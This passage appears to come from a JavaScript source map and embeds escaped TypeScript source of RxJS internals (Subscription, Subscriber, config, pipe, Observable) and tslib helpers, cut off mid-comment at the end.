__importDefault(mod) {\r\n return (mod && mod.__esModule) ? mod : { default: mod };\r\n}\r\n\r\nexport function __classPrivateFieldGet(receiver, state, kind, f) {\r\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\r\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\r\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\r\n}\r\n\r\nexport function __classPrivateFieldSet(receiver, state, value, kind, f) {\r\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\r\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\r\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\r\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\r\n}\r\n", "/**\n * Returns true if the object is a function.\n * @param value The value to check\n */\nexport function isFunction(value: any): value is (...args: any[]) => any {\n return typeof value === 'function';\n}\n", "/**\n * Used to create Error subclasses until the community moves away from ES5.\n *\n * This is because compiling from TypeScript down to ES5 has issues with subclassing Errors\n * as well as other built-in types: https://github.com/Microsoft/TypeScript/issues/12123\n *\n * @param createImpl A factory function to create the actual constructor implementation. The returned\n * function should be a named function that calls `_super` internally.\n */\nexport function createErrorClass(createImpl: (_super: any) => any): T {\n const _super = (instance: any) => {\n Error.call(instance);\n instance.stack = new Error().stack;\n };\n\n const ctorFunc = createImpl(_super);\n ctorFunc.prototype = Object.create(Error.prototype);\n ctorFunc.prototype.constructor = ctorFunc;\n return ctorFunc;\n}\n", "import { createErrorClass } from './createErrorClass';\n\nexport interface UnsubscriptionError extends Error {\n readonly errors: any[];\n}\n\nexport interface UnsubscriptionErrorCtor {\n /**\n * @deprecated Internal implementation detail. Do not construct error instances.\n * Cannot be tagged as internal: https://github.com/ReactiveX/rxjs/issues/6269\n */\n new (errors: any[]): UnsubscriptionError;\n}\n\n/**\n * An error thrown when one or more errors have occurred during the\n * `unsubscribe` of a {@link Subscription}.\n */\nexport const UnsubscriptionError: UnsubscriptionErrorCtor = createErrorClass(\n (_super) =>\n function UnsubscriptionErrorImpl(this: any, errors: (Error | string)[]) {\n _super(this);\n this.message = errors\n ? `${errors.length} errors occurred during unsubscription:\n${errors.map((err, i) => `${i + 1}) ${err.toString()}`).join('\\n ')}`\n : '';\n this.name = 'UnsubscriptionError';\n this.errors = errors;\n }\n);\n", "/**\n * Removes an item from an array, mutating it.\n * @param arr The array to remove the item from\n * @param item The item to remove\n */\nexport function arrRemove(arr: T[] | undefined | null, item: T) {\n if (arr) {\n const index = arr.indexOf(item);\n 0 <= index && arr.splice(index, 1);\n }\n}\n", "import { isFunction } from './util/isFunction';\nimport { UnsubscriptionError } from './util/UnsubscriptionError';\nimport { SubscriptionLike, TeardownLogic, Unsubscribable } from './types';\nimport { arrRemove } from './util/arrRemove';\n\n/**\n * Represents a disposable resource, such as the execution of an Observable. A\n * Subscription has one important method, `unsubscribe`, that takes no argument\n * and just disposes the resource held by the subscription.\n *\n * Additionally, subscriptions may be grouped together through the `add()`\n * method, which will attach a child Subscription to the current Subscription.\n * When a Subscription is unsubscribed, all its children (and its grandchildren)\n * will be unsubscribed as well.\n *\n * @class Subscription\n */\nexport class Subscription implements SubscriptionLike {\n /** @nocollapse */\n public static EMPTY = (() => {\n const empty = new Subscription();\n empty.closed = true;\n return empty;\n })();\n\n /**\n * A flag to indicate whether this Subscription has already been unsubscribed.\n */\n public closed = false;\n\n private _parentage: Subscription[] | Subscription | null = null;\n\n /**\n * The list of registered finalizers to execute upon unsubscription. Adding and removing from this\n * list occurs in the {@link #add} and {@link #remove} methods.\n */\n private _finalizers: Exclude[] | null = null;\n\n /**\n * @param initialTeardown A function executed first as part of the finalization\n * process that is kicked off when {@link #unsubscribe} is called.\n */\n constructor(private initialTeardown?: () => void) {}\n\n /**\n * Disposes the resources held by the subscription. May, for instance, cancel\n * an ongoing Observable execution or cancel any other type of work that\n * started when the Subscription was created.\n * @return {void}\n */\n unsubscribe(): void {\n let errors: any[] | undefined;\n\n if (!this.closed) {\n this.closed = true;\n\n // Remove this from it's parents.\n const { _parentage } = this;\n if (_parentage) {\n this._parentage = null;\n if (Array.isArray(_parentage)) {\n for (const parent of _parentage) {\n parent.remove(this);\n }\n } else {\n _parentage.remove(this);\n }\n }\n\n const { initialTeardown: initialFinalizer } = this;\n if (isFunction(initialFinalizer)) {\n try {\n initialFinalizer();\n } catch (e) {\n errors = e instanceof UnsubscriptionError ? e.errors : [e];\n }\n }\n\n const { _finalizers } = this;\n if (_finalizers) {\n this._finalizers = null;\n for (const finalizer of _finalizers) {\n try {\n execFinalizer(finalizer);\n } catch (err) {\n errors = errors ?? [];\n if (err instanceof UnsubscriptionError) {\n errors = [...errors, ...err.errors];\n } else {\n errors.push(err);\n }\n }\n }\n }\n\n if (errors) {\n throw new UnsubscriptionError(errors);\n }\n }\n }\n\n /**\n * Adds a finalizer to this subscription, so that finalization will be unsubscribed/called\n * when this subscription is unsubscribed. If this subscription is already {@link #closed},\n * because it has already been unsubscribed, then whatever finalizer is passed to it\n * will automatically be executed (unless the finalizer itself is also a closed subscription).\n *\n * Closed Subscriptions cannot be added as finalizers to any subscription. Adding a closed\n * subscription to a any subscription will result in no operation. (A noop).\n *\n * Adding a subscription to itself, or adding `null` or `undefined` will not perform any\n * operation at all. (A noop).\n *\n * `Subscription` instances that are added to this instance will automatically remove themselves\n * if they are unsubscribed. Functions and {@link Unsubscribable} objects that you wish to remove\n * will need to be removed manually with {@link #remove}\n *\n * @param teardown The finalization logic to add to this subscription.\n */\n add(teardown: TeardownLogic): void {\n // Only add the finalizer if it's not undefined\n // and don't add a subscription to itself.\n if (teardown && teardown !== this) {\n if (this.closed) {\n // If this subscription is already closed,\n // execute whatever finalizer is handed to it automatically.\n execFinalizer(teardown);\n } else {\n if (teardown instanceof Subscription) {\n // We don't add closed subscriptions, and we don't add the same subscription\n // twice. Subscription unsubscribe is idempotent.\n if (teardown.closed || teardown._hasParent(this)) {\n return;\n }\n teardown._addParent(this);\n }\n (this._finalizers = this._finalizers ?? []).push(teardown);\n }\n }\n }\n\n /**\n * Checks to see if a this subscription already has a particular parent.\n * This will signal that this subscription has already been added to the parent in question.\n * @param parent the parent to check for\n */\n private _hasParent(parent: Subscription) {\n const { _parentage } = this;\n return _parentage === parent || (Array.isArray(_parentage) && _parentage.includes(parent));\n }\n\n /**\n * Adds a parent to this subscription so it can be removed from the parent if it\n * unsubscribes on it's own.\n *\n * NOTE: THIS ASSUMES THAT {@link _hasParent} HAS ALREADY BEEN CHECKED.\n * @param parent The parent subscription to add\n */\n private _addParent(parent: Subscription) {\n const { _parentage } = this;\n this._parentage = Array.isArray(_parentage) ? (_parentage.push(parent), _parentage) : _parentage ? [_parentage, parent] : parent;\n }\n\n /**\n * Called on a child when it is removed via {@link #remove}.\n * @param parent The parent to remove\n */\n private _removeParent(parent: Subscription) {\n const { _parentage } = this;\n if (_parentage === parent) {\n this._parentage = null;\n } else if (Array.isArray(_parentage)) {\n arrRemove(_parentage, parent);\n }\n }\n\n /**\n * Removes a finalizer from this subscription that was previously added with the {@link #add} method.\n *\n * Note that `Subscription` instances, when unsubscribed, will automatically remove themselves\n * from every other `Subscription` they have been added to. This means that using the `remove` method\n * is not a common thing and should be used thoughtfully.\n *\n * If you add the same finalizer instance of a function or an unsubscribable object to a `Subscription` instance\n * more than once, you will need to call `remove` the same number of times to remove all instances.\n *\n * All finalizer instances are removed to free up memory upon unsubscription.\n *\n * @param teardown The finalizer to remove from this subscription\n */\n remove(teardown: Exclude): void {\n const { _finalizers } = this;\n _finalizers && arrRemove(_finalizers, teardown);\n\n if (teardown instanceof Subscription) {\n teardown._removeParent(this);\n }\n }\n}\n\nexport const EMPTY_SUBSCRIPTION = Subscription.EMPTY;\n\nexport function isSubscription(value: any): value is Subscription {\n return (\n value instanceof Subscription ||\n (value && 'closed' in value && isFunction(value.remove) && isFunction(value.add) && isFunction(value.unsubscribe))\n );\n}\n\nfunction execFinalizer(finalizer: Unsubscribable | (() => void)) {\n if (isFunction(finalizer)) {\n finalizer();\n } else {\n finalizer.unsubscribe();\n }\n}\n", "import { Subscriber } from './Subscriber';\nimport { ObservableNotification } from './types';\n\n/**\n * The {@link GlobalConfig} object for RxJS. It is used to configure things\n * like how to react on unhandled errors.\n */\nexport const config: GlobalConfig = {\n onUnhandledError: null,\n onStoppedNotification: null,\n Promise: undefined,\n useDeprecatedSynchronousErrorHandling: false,\n useDeprecatedNextContext: false,\n};\n\n/**\n * The global configuration object for RxJS, used to configure things\n * like how to react on unhandled errors. Accessible via {@link config}\n * object.\n */\nexport interface GlobalConfig {\n /**\n * A registration point for unhandled errors from RxJS. These are errors that\n * cannot were not handled by consuming code in the usual subscription path. For\n * example, if you have this configured, and you subscribe to an observable without\n * providing an error handler, errors from that subscription will end up here. This\n * will _always_ be called asynchronously on another job in the runtime. This is because\n * we do not want errors thrown in this user-configured handler to interfere with the\n * behavior of the library.\n */\n onUnhandledError: ((err: any) => void) | null;\n\n /**\n * A registration point for notifications that cannot be sent to subscribers because they\n * have completed, errored or have been explicitly unsubscribed. By default, next, complete\n * and error notifications sent to stopped subscribers are noops. However, sometimes callers\n * might want a different behavior. For example, with sources that attempt to report errors\n * to stopped subscribers, a caller can configure RxJS to throw an unhandled error instead.\n * This will _always_ be called asynchronously on another job in the runtime. This is because\n * we do not want errors thrown in this user-configured handler to interfere with the\n * behavior of the library.\n */\n onStoppedNotification: ((notification: ObservableNotification, subscriber: Subscriber) => void) | null;\n\n /**\n * The promise constructor used by default for {@link Observable#toPromise toPromise} and {@link Observable#forEach forEach}\n * methods.\n *\n * @deprecated As of version 8, RxJS will no longer support this sort of injection of a\n * Promise constructor. If you need a Promise implementation other than native promises,\n * please polyfill/patch Promise as you see appropriate. Will be removed in v8.\n */\n Promise?: PromiseConstructorLike;\n\n /**\n * If true, turns on synchronous error rethrowing, which is a deprecated behavior\n * in v6 and higher. This behavior enables bad patterns like wrapping a subscribe\n * call in a try/catch block. It also enables producer interference, a nasty bug\n * where a multicast can be broken for all observers by a downstream consumer with\n * an unhandled error. DO NOT USE THIS FLAG UNLESS IT'S NEEDED TO BUY TIME\n * FOR MIGRATION REASONS.\n *\n * @deprecated As of version 8, RxJS will no longer support synchronous throwing\n * of unhandled errors. All errors will be thrown on a separate call stack to prevent bad\n * behaviors described above. Will be removed in v8.\n */\n useDeprecatedSynchronousErrorHandling: boolean;\n\n /**\n * If true, enables an as-of-yet undocumented feature from v5: The ability to access\n * `unsubscribe()` via `this` context in `next` functions created in observers passed\n * to `subscribe`.\n *\n * This is being removed because the performance was severely problematic, and it could also cause\n * issues when types other than POJOs are passed to subscribe as subscribers, as they will likely have\n * their `this` context overwritten.\n *\n * @deprecated As of version 8, RxJS will no longer support altering the\n * context of next functions provided as part of an observer to Subscribe. Instead,\n * you will have access to a subscription or a signal or token that will allow you to do things like\n * unsubscribe and test closed status. Will be removed in v8.\n */\n useDeprecatedNextContext: boolean;\n}\n", "import type { TimerHandle } from './timerHandle';\ntype SetTimeoutFunction = (handler: () => void, timeout?: number, ...args: any[]) => TimerHandle;\ntype ClearTimeoutFunction = (handle: TimerHandle) => void;\n\ninterface TimeoutProvider {\n setTimeout: SetTimeoutFunction;\n clearTimeout: ClearTimeoutFunction;\n delegate:\n | {\n setTimeout: SetTimeoutFunction;\n clearTimeout: ClearTimeoutFunction;\n }\n | undefined;\n}\n\nexport const timeoutProvider: TimeoutProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n setTimeout(handler: () => void, timeout?: number, ...args) {\n const { delegate } = timeoutProvider;\n if (delegate?.setTimeout) {\n return delegate.setTimeout(handler, timeout, ...args);\n }\n return setTimeout(handler, timeout, ...args);\n },\n clearTimeout(handle) {\n const { delegate } = timeoutProvider;\n return (delegate?.clearTimeout || clearTimeout)(handle as any);\n },\n delegate: undefined,\n};\n", "import { config } from '../config';\nimport { timeoutProvider } from '../scheduler/timeoutProvider';\n\n/**\n * Handles an error on another job either with the user-configured {@link onUnhandledError},\n * or by throwing it on that new job so it can be picked up by `window.onerror`, `process.on('error')`, etc.\n *\n * This should be called whenever there is an error that is out-of-band with the subscription\n * or when an error hits a terminal boundary of the subscription and no error handler was provided.\n *\n * @param err the error to report\n */\nexport function reportUnhandledError(err: any) {\n timeoutProvider.setTimeout(() => {\n const { onUnhandledError } = config;\n if (onUnhandledError) {\n // Execute the user-configured error handler.\n onUnhandledError(err);\n } else {\n // Throw so it is picked up by the runtime's uncaught error mechanism.\n throw err;\n }\n });\n}\n", "/* tslint:disable:no-empty */\nexport function noop() { }\n", "import { CompleteNotification, NextNotification, ErrorNotification } from './types';\n\n/**\n * A completion object optimized for memory use and created to be the\n * same \"shape\" as other notifications in v8.\n * @internal\n */\nexport const COMPLETE_NOTIFICATION = (() => createNotification('C', undefined, undefined) as CompleteNotification)();\n\n/**\n * Internal use only. Creates an optimized error notification that is the same \"shape\"\n * as other notifications.\n * @internal\n */\nexport function errorNotification(error: any): ErrorNotification {\n return createNotification('E', undefined, error) as any;\n}\n\n/**\n * Internal use only. Creates an optimized next notification that is the same \"shape\"\n * as other notifications.\n * @internal\n */\nexport function nextNotification(value: T) {\n return createNotification('N', value, undefined) as NextNotification;\n}\n\n/**\n * Ensures that all notifications created internally have the same \"shape\" in v8.\n *\n * TODO: This is only exported to support a crazy legacy test in `groupBy`.\n * @internal\n */\nexport function createNotification(kind: 'N' | 'E' | 'C', value: any, error: any) {\n return {\n kind,\n value,\n error,\n };\n}\n", "import { config } from '../config';\n\nlet context: { errorThrown: boolean; error: any } | null = null;\n\n/**\n * Handles dealing with errors for super-gross mode. Creates a context, in which\n * any synchronously thrown errors will be passed to {@link captureError}. Which\n * will record the error such that it will be rethrown after the call back is complete.\n * TODO: Remove in v8\n * @param cb An immediately executed function.\n */\nexport function errorContext(cb: () => void) {\n if (config.useDeprecatedSynchronousErrorHandling) {\n const isRoot = !context;\n if (isRoot) {\n context = { errorThrown: false, error: null };\n }\n cb();\n if (isRoot) {\n const { errorThrown, error } = context!;\n context = null;\n if (errorThrown) {\n throw error;\n }\n }\n } else {\n // This is the general non-deprecated path for everyone that\n // isn't crazy enough to use super-gross mode (useDeprecatedSynchronousErrorHandling)\n cb();\n }\n}\n\n/**\n * Captures errors only in super-gross mode.\n * @param err the error to capture\n */\nexport function captureError(err: any) {\n if (config.useDeprecatedSynchronousErrorHandling && context) {\n context.errorThrown = true;\n context.error = err;\n }\n}\n", "import { isFunction } from './util/isFunction';\nimport { Observer, ObservableNotification } from './types';\nimport { isSubscription, Subscription } from './Subscription';\nimport { config } from './config';\nimport { reportUnhandledError } from './util/reportUnhandledError';\nimport { noop } from './util/noop';\nimport { nextNotification, errorNotification, COMPLETE_NOTIFICATION } from './NotificationFactories';\nimport { timeoutProvider } from './scheduler/timeoutProvider';\nimport { captureError } from './util/errorContext';\n\n/**\n * Implements the {@link Observer} interface and extends the\n * {@link Subscription} class. While the {@link Observer} is the public API for\n * consuming the values of an {@link Observable}, all Observers get converted to\n * a Subscriber, in order to provide Subscription-like capabilities such as\n * `unsubscribe`. Subscriber is a common type in RxJS, and crucial for\n * implementing operators, but it is rarely used as a public API.\n *\n * @class Subscriber\n */\nexport class Subscriber extends Subscription implements Observer {\n /**\n * A static factory for a Subscriber, given a (potentially partial) definition\n * of an Observer.\n * @param next The `next` callback of an Observer.\n * @param error The `error` callback of an\n * Observer.\n * @param complete The `complete` callback of an\n * Observer.\n * @return A Subscriber wrapping the (partially defined)\n * Observer represented by the given arguments.\n * @nocollapse\n * @deprecated Do not use. Will be removed in v8. There is no replacement for this\n * method, and there is no reason to be creating instances of `Subscriber` directly.\n * If you have a specific use case, please file an issue.\n */\n static create(next?: (x?: T) => void, error?: (e?: any) => void, complete?: () => void): Subscriber {\n return new SafeSubscriber(next, error, complete);\n }\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n protected isStopped: boolean = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n protected destination: Subscriber | Observer; // this `any` is the escape hatch to erase extra type param (e.g. R)\n\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n * There is no reason to directly create an instance of Subscriber. This type is exported for typings reasons.\n */\n constructor(destination?: Subscriber | Observer) {\n super();\n if (destination) {\n this.destination = destination;\n // Automatically chain subscriptions together here.\n // if destination is a Subscription, then it is a Subscriber.\n if (isSubscription(destination)) {\n destination.add(this);\n }\n } else {\n this.destination = EMPTY_OBSERVER;\n }\n }\n\n /**\n * The {@link Observer} callback to receive notifications of type `next` from\n * the Observable, with a value. The Observable may call this method 0 or more\n * times.\n * @param {T} [value] The `next` value.\n * @return {void}\n */\n next(value?: T): void {\n if (this.isStopped) {\n handleStoppedNotification(nextNotification(value), this);\n } else {\n this._next(value!);\n }\n }\n\n /**\n * The {@link Observer} callback to receive notifications of type `error` from\n * the Observable, with an attached `Error`. Notifies the Observer that\n * the Observable has experienced an error condition.\n * @param {any} [err] The `error` exception.\n * @return {void}\n */\n error(err?: any): void {\n if (this.isStopped) {\n handleStoppedNotification(errorNotification(err), this);\n } else {\n this.isStopped = true;\n this._error(err);\n }\n }\n\n /**\n * The {@link Observer} callback to receive a valueless notification of type\n * `complete` from the Observable. Notifies the Observer that the Observable\n * has finished sending push-based notifications.\n * @return {void}\n */\n complete(): void {\n if (this.isStopped) {\n handleStoppedNotification(COMPLETE_NOTIFICATION, this);\n } else {\n this.isStopped = true;\n this._complete();\n }\n }\n\n unsubscribe(): void {\n if (!this.closed) {\n this.isStopped = true;\n super.unsubscribe();\n this.destination = null!;\n }\n }\n\n protected _next(value: T): void {\n this.destination.next(value);\n }\n\n protected _error(err: any): void {\n try {\n this.destination.error(err);\n } finally {\n this.unsubscribe();\n }\n }\n\n protected _complete(): void {\n try {\n this.destination.complete();\n } finally {\n this.unsubscribe();\n }\n }\n}\n\n/**\n * This bind is captured here because we want to be able to have\n * compatibility with monoid libraries that tend to use a method named\n * `bind`. In particular, a library called Monio requires this.\n */\nconst _bind = Function.prototype.bind;\n\nfunction bind any>(fn: Fn, thisArg: any): Fn {\n return _bind.call(fn, thisArg);\n}\n\n/**\n * Internal optimization only, DO NOT EXPOSE.\n * @internal\n */\nclass ConsumerObserver implements Observer {\n constructor(private partialObserver: Partial>) {}\n\n next(value: T): void {\n const { partialObserver } = this;\n if (partialObserver.next) {\n try {\n partialObserver.next(value);\n } catch (error) {\n handleUnhandledError(error);\n }\n }\n }\n\n error(err: any): void {\n const { partialObserver } = this;\n if (partialObserver.error) {\n try {\n partialObserver.error(err);\n } catch (error) {\n handleUnhandledError(error);\n }\n } else {\n handleUnhandledError(err);\n }\n }\n\n complete(): void {\n const { partialObserver } = this;\n if (partialObserver.complete) {\n try {\n partialObserver.complete();\n } catch (error) {\n handleUnhandledError(error);\n }\n }\n }\n}\n\nexport class SafeSubscriber extends Subscriber {\n constructor(\n observerOrNext?: Partial> | ((value: T) => void) | null,\n error?: ((e?: any) => void) | null,\n complete?: (() => void) | null\n ) {\n super();\n\n let partialObserver: Partial>;\n if (isFunction(observerOrNext) || !observerOrNext) {\n // The first argument is a function, not an observer. The next\n // two arguments *could* be observers, or they could be empty.\n partialObserver = {\n next: (observerOrNext ?? undefined) as (((value: T) => void) | undefined),\n error: error ?? undefined,\n complete: complete ?? undefined,\n };\n } else {\n // The first argument is a partial observer.\n let context: any;\n if (this && config.useDeprecatedNextContext) {\n // This is a deprecated path that made `this.unsubscribe()` available in\n // next handler functions passed to subscribe. This only exists behind a flag\n // now, as it is *very* slow.\n context = Object.create(observerOrNext);\n context.unsubscribe = () => this.unsubscribe();\n partialObserver = {\n next: observerOrNext.next && bind(observerOrNext.next, context),\n error: observerOrNext.error && bind(observerOrNext.error, context),\n complete: observerOrNext.complete && bind(observerOrNext.complete, context),\n };\n } else {\n // The \"normal\" path. Just use the partial observer directly.\n partialObserver = observerOrNext;\n }\n }\n\n // Wrap the partial observer to ensure it's a full observer, and\n // make sure proper error handling is accounted for.\n this.destination = new ConsumerObserver(partialObserver);\n }\n}\n\nfunction handleUnhandledError(error: any) {\n if (config.useDeprecatedSynchronousErrorHandling) {\n captureError(error);\n } else {\n // Ideal path, we report this as an unhandled error,\n // which is thrown on a new call stack.\n reportUnhandledError(error);\n }\n}\n\n/**\n * An error handler used when no error handler was supplied\n * to the SafeSubscriber -- meaning no error handler was supplied\n * do the `subscribe` call on our observable.\n * @param err The error to handle\n */\nfunction defaultErrorHandler(err: any) {\n throw err;\n}\n\n/**\n * A handler for notifications that cannot be sent to a stopped subscriber.\n * @param notification The notification being sent\n * @param subscriber The stopped subscriber\n */\nfunction handleStoppedNotification(notification: ObservableNotification, subscriber: Subscriber) {\n const { onStoppedNotification } = config;\n onStoppedNotification && timeoutProvider.setTimeout(() => onStoppedNotification(notification, subscriber));\n}\n\n/**\n * The observer used as a stub for subscriptions where the user did not\n * pass any arguments to `subscribe`. Comes with the default error handling\n * behavior.\n */\nexport const EMPTY_OBSERVER: Readonly> & { closed: true } = {\n closed: true,\n next: noop,\n error: defaultErrorHandler,\n complete: noop,\n};\n", "/**\n * Symbol.observable or a string \"@@observable\". Used for interop\n *\n * @deprecated We will no longer be exporting this symbol in upcoming versions of RxJS.\n * Instead polyfill and use Symbol.observable directly *or* use https://www.npmjs.com/package/symbol-observable\n */\nexport const observable: string | symbol = (() => (typeof Symbol === 'function' && Symbol.observable) || '@@observable')();\n", "/**\n * This function takes one parameter and just returns it. Simply put,\n * this is like `(x: T): T => x`.\n *\n * ## Examples\n *\n * This is useful in some cases when using things like `mergeMap`\n *\n * ```ts\n * import { interval, take, map, range, mergeMap, identity } from 'rxjs';\n *\n * const source$ = interval(1000).pipe(take(5));\n *\n * const result$ = source$.pipe(\n * map(i => range(i)),\n * mergeMap(identity) // same as mergeMap(x => x)\n * );\n *\n * result$.subscribe({\n * next: console.log\n * });\n * ```\n *\n * Or when you want to selectively apply an operator\n *\n * ```ts\n * import { interval, take, identity } from 'rxjs';\n *\n * const shouldLimit = () => Math.random() < 0.5;\n *\n * const source$ = interval(1000);\n *\n * const result$ = source$.pipe(shouldLimit() ? take(5) : identity);\n *\n * result$.subscribe({\n * next: console.log\n * });\n * ```\n *\n * @param x Any value that is returned by this function\n * @returns The value passed as the first parameter to this function\n */\nexport function identity(x: T): T {\n return x;\n}\n", "import { identity } from './identity';\nimport { UnaryFunction } from '../types';\n\nexport function pipe(): typeof identity;\nexport function pipe(fn1: UnaryFunction): UnaryFunction;\nexport function pipe(fn1: UnaryFunction, fn2: UnaryFunction): UnaryFunction;\nexport function pipe(fn1: UnaryFunction, fn2: UnaryFunction, fn3: UnaryFunction): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction,\n fn9: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction,\n fn9: UnaryFunction,\n ...fns: UnaryFunction[]\n): UnaryFunction;\n\n/**\n * pipe() can be called on one or more functions, each of which can take one argument (\"UnaryFunction\")\n * and uses it to return a value.\n * It returns a function that takes one argument, passes it to the first UnaryFunction, and then\n * passes the result to the next one, passes that result to the next one, and so on. \n */\nexport function pipe(...fns: Array>): UnaryFunction {\n return pipeFromArray(fns);\n}\n\n/** @internal */\nexport function pipeFromArray(fns: Array>): UnaryFunction {\n if (fns.length === 0) {\n return identity as UnaryFunction;\n }\n\n if (fns.length === 1) {\n return fns[0];\n }\n\n return function piped(input: T): R {\n return fns.reduce((prev: any, fn: UnaryFunction) => fn(prev), input as any);\n };\n}\n", "import { Operator } from './Operator';\nimport { SafeSubscriber, Subscriber } from './Subscriber';\nimport { isSubscription, Subscription } from './Subscription';\nimport { TeardownLogic, OperatorFunction, Subscribable, Observer } from './types';\nimport { observable as Symbol_observable } from './symbol/observable';\nimport { pipeFromArray } from './util/pipe';\nimport { config } from './config';\nimport { isFunction } from './util/isFunction';\nimport { errorContext } from './util/errorContext';\n\n/**\n * A representation of any set of values over any amount of time. This is the most basic building block\n * of RxJS.\n *\n * @class Observable\n */\nexport class Observable implements Subscribable {\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n */\n source: Observable | undefined;\n\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n */\n operator: Operator | undefined;\n\n /**\n * @constructor\n * @param {Function} subscribe the function that is called when the Observable is\n * initially subscribed to. This function is given a Subscriber, to which new values\n * can be `next`ed, or an `error` method can be called to raise an error, or\n * `complete` can be called to notify of a successful completion.\n */\n constructor(subscribe?: (this: Observable, subscriber: Subscriber) => TeardownLogic) {\n if (subscribe) {\n this._subscribe = subscribe;\n }\n }\n\n // HACK: Since TypeScript inherits static properties too, we have to\n // fight against TypeScript here so Subject can have a different static create signature\n /**\n * Creates a new Observable by calling the Observable constructor\n * @owner Observable\n * @method create\n * @param {Function} subscribe? the subscriber function to be passed to the Observable constructor\n * @return {Observable} a new observable\n * @nocollapse\n * @deprecated Use `new Observable()` instead. Will be removed in v8.\n */\n static create: (...args: any[]) => any = (subscribe?: (subscriber: Subscriber) => TeardownLogic) => {\n return new Observable(subscribe);\n };\n\n /**\n * Creates a new Observable, with this Observable instance as the source, and the passed\n * operator defined as the new observable's operator.\n * @method lift\n * @param operator the operator defining the operation to take on the observable\n * @return a new observable with the Operator applied\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n * If you have implemented an operator using `lift`, it is recommended that you create an\n * operator by simply returning `new Observable()` directly. See \"Creating new operators from\n * scratch\" section here: https://rxjs.dev/guide/operators\n */\n lift(operator?: Operator): Observable {\n const observable = new Observable();\n observable.source = this;\n observable.operator = operator;\n return observable;\n }\n\n subscribe(observerOrNext?: Partial> | ((value: T) => void)): Subscription;\n /** @deprecated Instead of passing separate callback arguments, use an observer argument. Signatures taking separate callback arguments will be removed in v8. Details: https://rxjs.dev/deprecations/subscribe-arguments */\n subscribe(next?: ((value: T) => void) | null, error?: ((error: any) => void) | null, complete?: (() => void) | null): Subscription;\n /**\n * Invokes an execution of an Observable and registers Observer handlers for notifications it will emit.\n *\n * Use it when you have all these Observables, but still nothing is happening.\n *\n * `subscribe` is not a regular operator, but a method that calls Observable's internal `subscribe` function. It\n * might be for example a function that you passed to Observable's constructor, but most of the time it is\n * a library implementation, which defines what will be emitted by an Observable, and when it be will emitted. This means\n * that calling `subscribe` is actually the moment when Observable starts its work, not when it is created, as it is often\n * the thought.\n *\n * Apart from starting the execution of an Observable, this method allows you to listen for values\n * that an Observable emits, as well as for when it completes or errors. You can achieve this in two\n * of the following ways.\n *\n * The first way is creating an object that implements {@link Observer} interface. It should have methods\n * defined by that interface, but note that it should be just a regular JavaScript object, which you can create\n * yourself in any way you want (ES6 class, classic function constructor, object literal etc.). In particular, do\n * not attempt to use any RxJS implementation details to create Observers - you don't need them. Remember also\n * that your object does not have to implement all methods. If you find yourself creating a method that doesn't\n * do anything, you can simply omit it. Note however, if the `error` method is not provided and an error happens,\n * it will be thrown asynchronously. Errors thrown asynchronously cannot be caught using `try`/`catch`. Instead,\n * use the {@link onUnhandledError} configuration option or use a runtime handler (like `window.onerror` or\n * `process.on('error)`) to be notified of unhandled errors. Because of this, it's recommended that you provide\n * an `error` method to avoid missing thrown errors.\n *\n * The second way is to give up on Observer object altogether and simply provide callback functions in place of its methods.\n * This means you can provide three functions as arguments to `subscribe`, where the first function is equivalent\n * of a `next` method, the second of an `error` method and the third of a `complete` method. Just as in case of an Observer,\n * if you do not need to listen for something, you can omit a function by passing `undefined` or `null`,\n * since `subscribe` recognizes these functions by where they were placed in function call. When it comes\n * to the `error` function, as with an Observer, if not provided, errors emitted by an Observable will be thrown asynchronously.\n *\n * You can, however, subscribe with no parameters at all. This may be the case where you're not interested in terminal events\n * and you also handled emissions internally by using operators (e.g. using `tap`).\n *\n * Whichever style of calling `subscribe` you use, in both cases it returns a Subscription object.\n * This object allows you to call `unsubscribe` on it, which in turn will stop the work that an Observable does and will clean\n * up all resources that an Observable used. Note that cancelling a subscription will not call `complete` callback\n * provided to `subscribe` function, which is reserved for a regular completion signal that comes from an 